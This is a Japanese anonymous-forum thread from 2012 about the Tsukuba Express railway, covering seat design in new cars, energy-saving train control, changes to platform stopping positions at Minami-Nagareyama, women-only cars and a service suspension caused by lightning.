457:名無し野電車区
12/08/26 23:33:51.32 jGM4uJF20
優先席での携帯・スマホ操作は、全ての鉄道路線で当たり前の状況
マナーの悪さは男の方が絶対数が多く、「まじカッペ野郎」の方が
よっぽど「みっともなく下品」だな
458:名無し野電車区
12/08/27 00:10:12.07 K2+Cw1Mo0
>>446
他はLEDに更新しないの?
459:名無し野電車区
12/08/27 05:06:28.65 F4nsH2F50
>>457
＞優先席での携帯・スマホ操作は、全ての鉄道路線で当たり前の状況
それなら、スマホ優先席に改名するか。
460:名無し野電車区
12/08/28 13:51:37.25 wnRiptSE0
車内のLED照明は気持ち悪いです
ドアの｢ぽーん、ぽーん、｣が気持ち悪いです
461:名無し野電車区
12/08/28 16:51:35.16 aljQuUHf0
車内証明ＬＥＤ化するより常時力行（１０００Ａ）の制御を何とかした方が節電になるんじゃね？
462:名無し野電車区
12/08/28 22:50:26.49 c1anc+9+0
>>461
トップスピード到達後、常時定速制御と、
力行→惰走→力行→惰走の繰り返しと
どちらが省エネか、少しは考えてみた？
当然、ＴＸのき
463:名無し野電車区
12/08/28 22:52:27.26 c1anc+9+0
>>461
トップスピード到達後、常時定速制御と、
力行→惰走→力行→惰走の繰り返しと
どちらが省エネか、少しは考えてみた？
当然、ＴＸの基本思想である「速達性」は
譲れないから、議論にならないな。
省エネ優先なら、時速１３０Ｋｍは論外
464:名無し野電車区
12/08/29 22:52:24.67 et610NbL0
今後とも技術革新と、そのタイムリーな採用に徹すれば、
省エネ性と速達性の両立は十分可能だな。
全車両が高速タイプのＴＸの取るべきスタンスは明快。
465:名無し野電車区
12/08/29 23:16:19.30 QCh0q3xc0
昨年の夏にJR西の京阪神の新快速/快速/普通が、運転方法の工夫で10％の電力逓減ができたって記事があったな。
基本フルノッチで力行→トップスピードから惰走だけど、
最高速に来る前に下り勾配になったらノッチを切って勾配に任せたりとか、区間区間ごとにいろいろ工夫していたと。
ただこれはダイヤがとことん寝ててチンタラ走ってる新快速だからできる芸当で、
スジが立ってるTXにそんな余裕はないだろうな。
466:名無し野電車区
12/08/30 07:32:04.42 YjJwpg5F0
通勤時間帯はただでさえ余分に時間がかかっているし、遠くに家を買ってしまった人が涙目。
467:名無し野電車区
12/08/30 08:48:41.21 YAnmWrP+O
それでもつくばから１時間以内で都心に入れるんだから問題ない。
468:名無し野電車区
12/08/30 10:49:56.23 SjmNgxtu0
>>466
たかが5分の変化に目くじらを立てるのはどうかと。それくらい朝飯を少し速く食べれば消化できるだろ
469:名無し野電車区
12/08/30 14:15:20.48 sZbavBpmO
守谷～つくば間を初めて乗った。
クロスシート車も初めて。通路側のテーブルにビツクリ。
椅子そのものは、どんな体格の人を対象にしてるのかよくわからない。
手元に私鉄車両編成表が無いのだが、車号は2471となっている。
天井の照明はLEDっぽい。
470:名無し野電車区
12/08/30 19:25:54.59 0ejd954e0
来年夏までに全駅で携帯３社の「Ｗｉ－Ｆｉ」対応に 東急が鉄道で初の計画
URLﾘﾝｸ(dailynews.yahoo.co.jp)
TXは変化しないの？
471:名無し野電車区
12/08/30 21:35:48.75 NX4MoKib0
>>469
2471だと、新車だね。
あのシート、変なクッションの入れ方のせいで、シートバックが体にフィットしなくなった。
テーブルは、ノートＰＣを置くためってことでつけたけど、揺れで画面が見にくい。
休日に子供がおもちゃやお菓子億とかに重宝してるみたい。
漏れは、缶ビールおくのに重宝した。（爆
472:名無し野電車区
12/08/30 21:58:05.98 SjmNgxtu0
>>470
TXはドコモが対応してたっけ。ソフトバンクとauでその話はきかないな(メトロはソフトバンクが対応してたっけ)
>>471
常磐でやれ！
473:名無し野電車区
12/08/30 22:21:36.68 NX4MoKib0
>>47
そう言われても、常磐は遠いんだよね。
474:名無し野電車区
12/08/30 23:15:04.13 Epynr6tN0
ＴＸも７周年を迎えて、開業当時の変な遠慮やカッコ
付けの輩は、最近ほとんど見掛けないけど…
今日の秋葉原１６：３０発の快速で早めに帰宅したが、
遭遇した目撃した３号車の中間北側ボックスシートに
着席したくたびれた風貌の壮年リーマンは、南流山駅
発車後に発泡酒ロング缶２本目を平気で開栓…
475:名無し野電車区
12/08/31 03:25:02.98 +NqSfB96O
>>471
こども美術展号?だった。
吊られていた電車の絵に「ｲﾒ」と書いてあったので
しばらく、何のことだろうと考えていたら、TXのロゴだった…
476:名無し野電車区
12/08/31 21:45:18.29 uj7ouw0C0
今日、帰宅時に初めて最新型の71編成に乗車し、
座席を利用したが、コメントの多い背面よりも
座面の方が違和感があった
体格の個人差や好みもあるが、メトロ10000系が
俺にはベスト
477:名無し野電車区
12/09/01 00:18:06.16 p48oM91C0
>>476
秋葉原18:00の快速だったら俺も乗り合わせた。
71編成に乗るのは3回目くらいだけど、俺は嫌いじゃないな。
ただ、ロング部分にしか乗ったことないので、クロスシートに関しては何とも言えないけど。
478:名無し野電車区
12/09/01 07:24:37.06 FhfvgJnW0
新型の椅子に文句多いけど
E233とほぼ同じでしょ？
クッション無しの硬い椅子に散々文句言ってたのにおまえらときたら
新型はきちんとした姿勢で座れば快適だよ
479:名無し野電車区
12/09/01 09:28:56.32 PyrhJ/3f0
>>478
いや、きちんとした姿勢で座ると、シートバックの凸が上すぎて腰のホールドが悪い。
シートバックは、旧型のでよかった。
座面には特に文句はない。
480:479追加
12/09/01 09:32:40.18 PyrhJ/3f0
＞E233とほぼ同じでしょ？
全然違う。
E233のシートバックの凸部は下側。TX新型は、シートバックの真ん中あたり。
481:名無し野電車区
12/09/01 10:12:19.96 PyrhJ/3f0
>>476
座面に違和感有るのは、シートバックが厚くなったことで、
着座点が前に押し出されるせいかも。
シートバックのクッションが入った部分の下に隙間があるんで、
そこに無理矢理ケツを押し込んで座ると、漏れには座面は問題ない。
482:名無し野電車区
12/09/01 21:42:51.42 HpBtvuKl0
>>481
前屈みに座るのか。
シートバックは小田急の4000形と比べたらどうなんだろう
483:名無し野電車区
12/09/02 06:03:23.82 2JMdP8XbO
>>461
各駅停車の方がエネルギー消費が多そう。
一段ブレーキのATOは、案外従来型の地上信号＋手動運転よりも
省エネに貢献してるかもしれない（特に表定速度当たりのエネルギー消費）。
484:名無し野電車区
12/09/02 06:49:57.49 /UNvIkiT0
南流山ホームの延長部分に明かりが点いてた
URLﾘﾝｸ(beebee2see.appspot.com)
485:名無し野電車区
12/09/02 07:46:46.30 K9LvEbLC0
6両編成のまま南流山の上り停車位置を前に2両ずらしたら大変なことになるけどどうするんだろうか
486:名無し野電車区
12/09/02 08:11:23.33 B8YgJiwz0
どうして大変なん？
まさか全部のﾎｰﾑドアが開くと思ってる？
487:名無し野電車区
12/09/02 08:17:40.95 1wqAuN9p0
ホームへの入場制限を強化。
488:481
12/09/02 09:56:10.76 hmDsbq1/0
>>482
そう、最初は前屈みでケツ突っ込んで、それから体を起こす。
その状態を長時間保ってられるわけはないんだが、
座面の圧力分布を感じ取る時間はある。
489:名無し野電車区
12/09/02 09:59:25.91 vz+OPDZw0
>>486
うるせえよとんちんかん
エスカレーターから降りた周辺が女性専用車
4号車がクロスシートでも大量に降りるからなんとかなってたが
あまり降りなくなるから座ってた奴らの降車に時間がかかる
セントラルパーク側の階段が無用の長物になるから8両化まで動かさないような気がしてきた
490:名無し野電車区
12/09/02 12:44:05.63 niB4ugav0
>>489
現6号車の位置に4号車が来るのか。
現5号車の所には3号車(北千住でエスカレーターあり)が来るということはホームの混雑が酷くなりそう。
491:名無し野電車区
12/09/02 20:22:26.54 lkvjetuM0
南流山は朝ラッシュだけエスカレーター両方上りにするべきだよ
エスカレーター下りたところに溜まりすぎるし
ついでに8両になるまで女性専用車をやめた方がいい
もちろん停車位置はそのままに
492:名無し野電車区
12/09/02 20:59:02.48 1wqAuN9p0
男女雇用機会均等法があるのに女性専用車とはこれいかに。男女不平等だろそれでは。
493:名無し野電車区
12/09/02 21:35:16.04 4X26HuTN0
男性専用車なんか作って誰が喜ぶんだよ
494:名無し野電車区
12/09/02 21:56:35.72 0dn9TTN60
>>493
分かってるくせに
495:名無し野電車区
12/09/03 09:01:43.56 qc0mkyYa0
┌(┌>>493)┐
496:名無し野電車区
12/09/03 17:08:28.22 f09NlgAF0
クロス廃止は急務だと思う
そんなにクロスシートを売りにしたいなら
朝外してラッシュが終わったら付けろヴォケ
497:名無し野電車区
12/09/03 20:40:24.77 A01iHYBw0
先頭or最後尾車両は中央部に強化ガラスの仕切りいれて
男女分別車両にすりゃあいいんだよな。
したら全時間帯運用だって構わんのに。
498:名無し野電車区
12/09/03 21:48:16.16 nBkl90Vj0
強化ガラスのマジックミラーかな。
499:名無し野電車区
12/09/03 22:52:49.17 TbPIMgWX0
休日の６号車は終日フリーのことを繰り返し自動放送して欲しい。
女性の既得権のように乗車率が異常に高く、男性には利用し難い…
500:名無し野電車区
12/09/04 06:39:01.73 XvXN/q2uO
>>489
上りと下りでは停車位置をずらすんだが。
下りは現４号の位置が６号
上りは現３号の位置が１号（♀車）になる。
>>499
６号車？
女性と何の関係が？
501:名無し野電車区
12/09/04 07:17:28.20 ZluCmQa00
マジックミラー号
502:名無し野電車区
12/09/04 07:44:17.29 T67jjFLQ0
>>500
下りなんかに乗るの数人じゃねえか
動かす必要が無い
これだけ必死に考えてきてこれだけ？
＞どうして大変なん？
＞まさか全部のﾎｰﾑドアが開くと思ってる？
503:名無し野電車区
12/09/04 09:15:12.25 N0Y/VRKm0
そのレス自分じゃねーよ馬鹿ｗ
504:名無し野電車区
12/09/04 10:40:10.53 rE77Rdm/0
>>503
喧嘩腰で書いたおめえさんが悪い
505:名無し野電車区
12/09/04 11:42:47.61 yEv4aPhh0
>>502
>下りなんか
ホーム両端は階段・エスカレータが無く、乗り降りしやすいじゃないか。
7時50分ぐらいの、つくば駅は（あくまで個人の思い込みでしかないが）下り客が上り客を
圧倒していますよ。
506:名無し野電車区
12/09/04 21:13:09.06 9755zhgq0
>>505
会話がカオスすぎる
もう一回全部読んでから書いて
507:名無し野電車区
12/09/04 21:21:08.53 zfTwHcSW0
>>506
>会話がカオスすぎる
>502
>下りなんか
TXは、朝ラッシュ下りも乗客は多い。南流山で下りも多いと思うよ。
例えば、終点のつくば駅では、下り客の方が上り客より多いようにも感じる時間帯があるよ。
と言うわけで、下りに 乗る客が居ないはず、と言う502の書き込みは、
実際の利用者でない、あおり厨だろ？
と言う書き込みが506だよ。時間取らせるなボケ。
どうせ北総あたりだろう。事情知らないから、書き込みが読めないんだよ。
508:名無し野電車区
12/09/04 23:49:53.24 Kpw0lCLN0
南流山駅は9月23日からホームの位置が２両分前進します。
あと、エスカレータの方向も入れ替わります。
509:名無し野電車区
12/09/05 05:20:20.23 CIvFtWXO0
南流山は快速・通勤快速通過でOKかな。新松戸だって快速通過ですからね。
510:名無し野電車区
12/09/05 06:38:08.52 hrL2qhaM0
>>509
何のために停車位置ずらすんだよｗ
511:名無し野電車区
12/09/05 21:22:05.15 RDEAQaAH0
>>510
「 … 通過でＯＫかな？」なんて
一応、遠慮している見たいだから
今回は大目に見てやってください
512:名無し野電車区
12/09/05 22:57:06.41 aTpHfgZe0
>>508
こんなことしても今まで階段2ヶ所とエスカレーターがあったのに
階段一ヶ所減ったら意味ないけどな
513:名無し野電車区
12/09/05 23:07:54.14 +cZ0w5Uv0
>>512
上下の客がホームの同じ位置に滞留するのを防止するのが目的。
２カ所の階段それぞれに上下の客を振り分ける（階段上ではほぼ一方通行）
メリットがある。
514:名無し野電車区
12/09/06 16:16:37.20 rC7+IZ2D0
とまった
515:名無し野電車区
12/09/06 16:22:14.84 628cXlBF0
落雷の影響で、運転を見合わせています。
（9月6日16時03分現在）
516:名無し野電車区
12/09/06 16:49:10.04 e/ECfjnPO
ＴＸのサイトでは平常運転の表記のままで電話も通じないんだが、深刻に全体的に停電してるっつーことなのか？
517:名無し野電車区
12/09/06 16:57:31.46 628cXlBF0
テレ朝で
復旧の見通し無しとの、事
518:名無し野電車区
12/09/06 17:53:56.22 jLuy7pgVP
>>516
TXのサイトはだいぶ前からトップに運転見合わせがでかでかと出てるけど。。。
519:名無し野電車区
12/09/06 17:59:44.96 ewQQLKTs0
幸い車内に閉じ込められてる人はいないのかな？
520:名無し野電車区
12/09/06 18:25:04.58 6ybkm/C20
復旧は２０時３０分頃を予定と構内放送にて。
架線が切れた個所はセントラル～おおたか間との事
521:小泉健
12/09/06 19:50:08.90 5srmua3z0
ＴＸ運転再開
522:名無し野電車区
12/09/06 20:02:35.69 mo1T1KD00
１９：４５再開
523:名無し野電車区
12/09/06 22:59:19.30 +Zzsr6vb0
北千住、八潮、流山おおたかの森、守谷の主要各駅は防雷施工を終えたが、
今後の更なる対策に期待したいな…
524:名無し野電車区
12/09/07 10:40:51.03 5lJH9ZiH0
南流山の駅員本当にふざけんな
あんなにバンバン通したって乗れねえよ！
駅員が表に出てきて振替券の確認をするのが筋だろ
一人エスカレーター下に行かせて様子を見て止めさせろよ
マイク放送はマイク放送でダミ声のジジイがダラダラと振替の方は窓口通れと連呼してるだけだし
やる気無いならやめろや南流山の糞駅員ども
525:名無し野電車区
12/09/07 13:34:57.42 GwTrYOA20
ＴＸは避雷針設置の前に、社員の客誘導の仕方から教育しろよ
入場制限の仕方にも問題がある
仕切りを設置して駅から出る客と入る客がごちゃまぜにならないようにするとかさ
コミケスタッフの誘導の仕方とか見ると神がかってるよね
ＴＸも「ここが最後尾です」のプラカードを客に持たせたり、
「前から１０人だけ手を上げてくださーい」と言って客に手を上げさせ小分けに誘導するとか。